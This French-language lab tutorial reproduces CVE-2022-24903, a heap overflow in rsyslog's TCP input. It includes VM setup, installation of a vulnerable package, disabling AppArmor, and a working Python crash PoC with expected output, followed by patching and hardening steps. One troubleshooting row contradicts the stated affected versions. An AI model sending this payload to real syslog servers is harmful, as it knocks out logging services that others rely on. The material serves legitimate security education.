
CVE-2022-24903 Dépassement de tampon basé sur le tas
Auteur : Andrew Beshay Mousa
Un atelier pratique illustrant la vulnérabilité de débordement de tampon du tas dans rsyslog.
Un environnement de laboratoire pratique pour reproduire et comprendre la vulnérabilité de débordement de tampon du tas de rsyslog (CVE-2022-24903) via le cadrage à comptage d'octets (octet-counted framing) dans la réception syslog TCP.
CVE-2022-24903 est une vulnérabilité de débordement de tampon du tas dans le module de réception syslog TCP (imtcp) de rsyslog, lors de l'utilisation du cadrage à comptage d'octets (RFC 5425).
Un attaquant peut envoyer un message syslog TCP malveillant avec un préfixe de comptage d'octets excessivement long, ce qui amène rsyslog à écrire au-delà des limites d'un tampon alloué sur le tas, entraînant un déni de service (DoS) ou une corruption mémoire potentielle.
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2022-24903 |
| Versions concernées | rsyslog < 8.2204.1 |
| Vecteur | Réseau |
| Port | 514/TCP |
| Module | imtcp (entrée TCP) |
| Impact | DoS / Corruption du tas |
| RCE probable ? | Non (évaluation du fournisseur) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | OS | Rôle | IP | RAM | CPU |
|---|---|---|---|---|---|
| Cible | Ubuntu 22.04 | Serveur rsyslog vulnérable | 192.168.56.20 | 1 Go | 1 |
| Attaquant | Kali Linux | Envoi de l'exploit | 192.168.56.10 | 2 Go | 1 |
Remarque : Vous pouvez utiliser n'importe quelle version d'Ubuntu (20.04, 22.04, 24.04) comme cible. Le point clé est d'installer manuellement le paquet
.debrsyslog 8.2001.0 vulnérable.
Dans syslog par TCP (RFC 5425), les messages sont préfixés par leur longueur en octets :
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
Dans les versions vulnérables de rsyslog, l'analyseur de comptage d'octets :
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Résultat : L'envoi de 9999... (plus de 5000 chiffres) provoque un débordement du tampon de tas, corrompant la mémoire adjacente.
0-9)Dans votre hyperviseur, créez un réseau Host-Only :
192.168.56.0/24Connectez les deux machines virtuelles à ce réseau.
sudo nano /etc/netplan/00-installer-config.yaml
Collez :
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Appliquez :
sudo netplan apply
Vérifiez :
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Si vous obtenez une erreur de verrou dpkg :
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Vérifiez la version :
rsyslogd -v | head -2
Sortie attendue :
rsyslogd 8.2001.0
AppArmor peut empêcher rsyslog de fonctionner correctement avec l'ancien paquet :
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Videz le fichier et collez :
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Vérifiez l'écoute :
sudo ss -tlnp | grep 514
Sortie attendue :
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Collez :
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Ou si vous utilisez Netplan :
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Collez :
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Rendez-le exécutable :
chmod +x exploit.py
Depuis la machine attaquante, vérifiez la connectivité :
nc -zv 192.168.56.20 514
Sortie attendue :
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Sortie attendue :
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
Sur la machine cible, vérifiez le crash :
ps aux | grep rsyslog
Si aucune sortie -> rsyslog a planté
sudo dmesg | tail -10
Sortie attendue :
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Ou :
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Pour confirmer la reproductibilité :
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Relancez ensuite l'exploit depuis Kali. Le crash doit se reproduire.
| Problème | Solution |
|---|---|
Connection refused | rsyslog ne fonctionne pas ou n'écoute pas sur le port TCP 514. Vérifiez sudo systemctl status rsyslog et `sudo ss -tlnp |
Unit rsyslog.service is masked | Exécutez sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Exécutez sudo kill -9 <PID> puis sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED dans dmesg | Exécutez sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| La version de rsyslog est 8.2112+ | Vous avez installé la version corrigée. Téléchargez et installez manuellement rsyslog_8.2001.0-1ubuntu1_amd64.deb |
| Pas de crash après l'exploit | Augmentez la taille de la charge utile à b"9" * 20000 |
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Vérifiez la version corrigée :
rsyslogd -v | head -2
Elle doit être 8.2204.1 ou supérieure.
Commentez dans /etc/rsyslog.conf :
# module(load="imtcp")
# input(type="imtcp" port="514")
Si syslog TCP est requis, utilisez un transport chiffré :
module(load="imgtls")
input(type="imgtls" port="6514")
Limitez le port TCP 514 aux seuls hôtes de confiance :
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Ce laboratoire est réservé à des fins éducatives et de recherche uniquement. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.
Ce projet est sous licence MIT.
Conçu avec du café et de la curiosité par Andrew Beshay Mousa.